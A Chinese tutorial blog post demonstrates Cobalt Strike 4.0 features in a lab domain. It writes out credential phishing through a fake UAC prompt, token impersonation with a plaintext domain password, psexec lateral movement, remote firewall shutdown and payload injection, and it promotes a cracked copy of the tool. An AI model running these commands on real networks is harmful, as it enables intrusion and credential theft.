你應該知道的Cobalt Strike 4.0的更新!
本文由Gcow安全團隊絕影小組小離師傅原創,屬於教程類文章
全文字數2348字 圖片63張 預計10分鐘閱讀完畢
文中有一個小推薦 請各位看官不要在意
我相信大家都被一條資訊給炸了鍋“cobaltstrike4.0破解版出來了”,這對於我們這些窮逼來說是一件好事,今天我就帶大家看看cs4.0更新了啥
在這裡先宣告,cobaltstrike的本意是用於教育目的,並非提供給非法滲透
一.準備
試驗環境:
Kali ipv4:192.168.1.119
ipv6:出於隱私考慮,沒寫
靶場win2008 ipv4:192.168.1.162
10.10.10.80
ipv6:處於隱私考慮,沒寫
靶場DC Win2012 ipv4:10.10.10.10
本文只是演示cs4.0的新特性,並非真正滲透
二.更新的內容
首先,先看看有什麼主要更新
1.Stageless:
可以看到,更新日誌提到Web Delivery
攻擊方式,在使用64
位的payload
的時候,使用的是stageless
攻擊方式,而regsvr32
攻擊方式同時被去掉了,因為不能注入完整的payload,同時,作者在影片中提到,在cs4.0
中將會大大使用stageless
,很少會使用stager
.
2.移除媒介自動播放攻擊
3.新增jump橫向移動命令
其實就是把以前psexec
,wmi
等的整合到一個模組裡,並且,當使用psexec_psh
進行橫向的時候會使用stager
,其他方式均為stageless
4.No Powershell 偏好
5.提權新成員:SVC-exe和runasadmin
svc-exe
其實就是在本地執行psexec
(作者吐槽)
6.同時移除了ms14-058 exp 和uac-dll提權方式
7.重大更新:Listener
http/https/dns
均支援一個payload
填寫多個ip或者域名,相當於把多個相同payload的listener
整合到一起,並且支援填入C2
引數以及代理引數
a.https/http listener:
細心的同學可能發現,下面新的選項是用來幹啥的,因為在cs4.0中,對C2攻擊方式進行了最佳化,你可以在profile選擇你在外部匯入進去的c2 profile,然後修改HTTPS Port(bind)的埠為你C2 伺服器的埠(我也不是很懂,如果有誤的話,大佬們請指正,以免誤人子弟)
b.Dns listener:
c.External C2 Listener:
三.看完了cs4.0的新特性,接下來開始實踐一下吧
首先,先新建一個listener,在這裡,你可以填寫你cs伺服器的公網IPv4,內網IPv4,IPv6(IPv6要用中括號,例[240c::6666]),以及你CS伺服器的域名,我在這裡填入了我kali
的ipv4
和ipv6
這裡的HTTPS Port (C2)就是上線埠
1.生成木馬並執行
我這邊直接生成了一個stageless
的木馬(不熟悉的話可以去看啊離上一篇文章)
生成的木馬丟上去靶機執行然後等一小會(順帶一提:不知道是不是出於某種原因,cs
直接生成的馬,免殺並沒有效果)
2.上線
因為我靶機有ipv6
,所以beacon
的ip
也會顯示ipv6
,同時,因為也有ipv4
,所以也會顯示ipv4
(意思為使用不同的協議的ip
進行同時互動)
3.介面變化
同時CS4.0
改了介面,可以顯示當前的beacon程式,PID,系統位數
4.提權變化
正如我上面提到,CS4.0
版本已經移除了uac-dll
和ms14-058
提權方式,同時bypassuac
命令被移除
為了做實驗,我生成了一個名為Priv Esc
的listener
(payload:tcp beacon)(建議勾選Bind to localhost only)
為什麼要勾選呢?作者的話:(反正就是勾選就對了)
a.UAC-token-duplication(UAC口令複製提權)
會在主機彈出一個UAC
框去欺騙管理員輸入密碼,可能是因為域的原因,即使輸入了也會提權失敗,但是沒關係,因為已經密碼記錄在記憶體中了,我們只需要本地提權並使用mimikatz
讀取密碼
【按照實際情況來說,其實輸入本地管理員口令的更多,這裡我為了演示,在UAC彈窗中輸入了域管理員口令】
UAC框框
failed,but the password was logged in memory
b.svc-exe
svc-exe
這個引數,並不是和exp
提權那樣,幫你從普通使用者 ”pwn!!“ 一下子拿下系統,而是當管理員許可權滿足不了你的時候,可以用svc-exe
進行提升(類似getsystem
命令,但是getsystem
不太好使)
使用例如下情況:
svc-exe priv esc:
c.EXP 本地提權
因為現在是域使用者,又又又又只能用exp本地提權了,因為作者已經在cs4.0中刪除了exp,但是你可以透過GitHub
去clone
作者的【Elevate Kit】專案,然後在cs
載入模組
cs作者的專案:https://github.com/rsmudge/ElevateKit
d.runasadmin 提權模組(後面會用到)
5.Recon 部分更新
a.Net模組新增倆引數
(a).net domain
(b).net domain_controllers
可以看到,計算機名為DC的就是域控,接下來可以鞭撻它了
b.橫向移動改進
exp提權,然後抓密碼(此處密碼為剛剛UAC釣到的域管理員明文密碼)
(a).SMB Beacon改進
生成一個用於橫向移動的listener,取名為LM,並使用SMB Beacon payload,可以看到,SMB Beacon支援自定義pipe name了
有點小夥伴要問了,為什麼在舊版的cs中沒有這個呢?其實,舊版cs中的pipe name是[status_埠號]
如圖,舊版cs的pipe name則為status_6001
(b).jump命令
jump
命令本質上就是把原來零散的psexec,psexec64,psexec_psh,winrm,winrm64整合到一個套件裡(wmi已經移除)
How to use
Lateral Movement kits in jump command
老樣子,呼叫剛剛抓到的域憑據
make_token de1ay.com\Administrator 1qaz@WSX
使用jump
命令進行橫向
jump psexec DC LM
DC Beacon Online
(c).remote-exec 命令
可以選擇以下三個套件進行遠端命令執行
remote-exec wmi DC netsh advfirewall set allprofiles state off (當然,和上面一樣,也要先呼叫憑據)
(d).Invoke-Command(個人補充)
補充:在CS
中,可以使用powershell-import
匯入ps1
指令碼,然後使用powerpick
去執行指令碼的模組
其實可以使用系統自帶的Invoke-Command
模組進行遠端命令執行(當然,也需要呼叫憑據)
powerpick Invoke-Command -ComputerName DC -ScriptBlock { netsh advfirewall set allprofiles state off }
c.One-liner
oneliner
其實就是生成一段在目標beacon
本地執行的payload
,你可以用它在目標beacon中進行花樣玩耍,配合的方式有很多種,如:runas,runu,runasadmin,psinject
(a).oneliner配合runasadmin進行提權
在cs
中,只有當前使用者名稱為administrator
的管理員使用者,cs
才會自動提權,當使用者名稱為別的管理員,cs
並不會自動提權,例如以下情況:
可以看到,xiaoli
這個使用者是本地管理員,可是cs
沒有幫我們提權
抓密碼提示許可權不足
so,we can do like this
①.生成oneliner,右擊beacon-Access-oneliner
在這裡的話,是看beacon的arch生成oneliner,我當前的beacon是64位,所以x86和x64的payload都可以,x86 beacon只能執行x86的payload
(我當前的beacon是x86的)
runasadmin uac-wscript + oneliner
執行完它並不會自動連線,需要去手動連線
connect 127.0.0.1
重新logonpassword
(b).One-liner 配合runas生成一個指定使用者的許可權
在這裡的話,也是看beacon的arch生成oneliner,同上
runas DE1AY\Administrator 1qaz@WSX + oneliner 注:runas在system許可權的beacon執行會失敗
connect 127.0.0.1
(c).One-liner 配合runu在指定程式執行命令
在這裡的話,是看目標程式的arch生成oneliner,我的目標程式是64位,所以生成x64和x86的payload都可以,x86程式則只能生成x86 payload
runu 460 + oneliner 這邊選擇了一個pid為460的程式
connect 127.0.0.1
同時看到該beacon的父程式就是我們剛剛所指定的
(d).Psinject使用one-liner payload注入程式
在psinject這裡,x64程式可以注入x86/x64的payload,x86程式只能注入x86
psinject 2784 x64 + oneliner
connect 127.0.0.1
connected
當然,還有更多的姿勢等你來解鎖~
d.Link / Connect and unlink
link
支援指定pipe name
,connect
支援指定埠,unlink
支援指定pid
號,其目的是為了可以更好管理多個smb beacon listener
與tcp beacon listener
link ip pipe_name(圖中因為沒有111這個pipe name,連不上就報錯了)
connect ip port
unlink ip pid
四.總結
作為一名有職業道德的伸手黨,要時刻記得吃水不忘挖井人的道理,所以在這裡要非常感謝WBGlIl大大
(對,沒錯,認準這隻熊)提供的破解版,以及Yansu大大提供的二次元版
問答環節:
Q&A
問:為什麼x64的beacon和session可以同時相容x86和x64的payload?
答:CS特性,作者超級偏愛x86,link:https://blog.cobaltstrike.com/2016/03/10/cobalt-strike-3-2-the-inevitable-x64-beacon/
問:為什麼作者強推Stageless?
答:因為stager不安全,更脆弱,容易被檢測
文末驚喜!
兩天過去了,我知道,大家都在等CS完美破解版
CS4.0去暗樁,windows teamserver支援,vnc修復,x64
payload修復,漢化支援 終極版本今天釋出!!Gcow安全團隊核心成
員 J0o1ey’參考先知某牛和國外某牛的修復方法,目前已無x64
payload和暗樁問題
小聲BB:關注Gcow安全團隊公眾號後臺回覆cobaltstrike即可獲取下載連結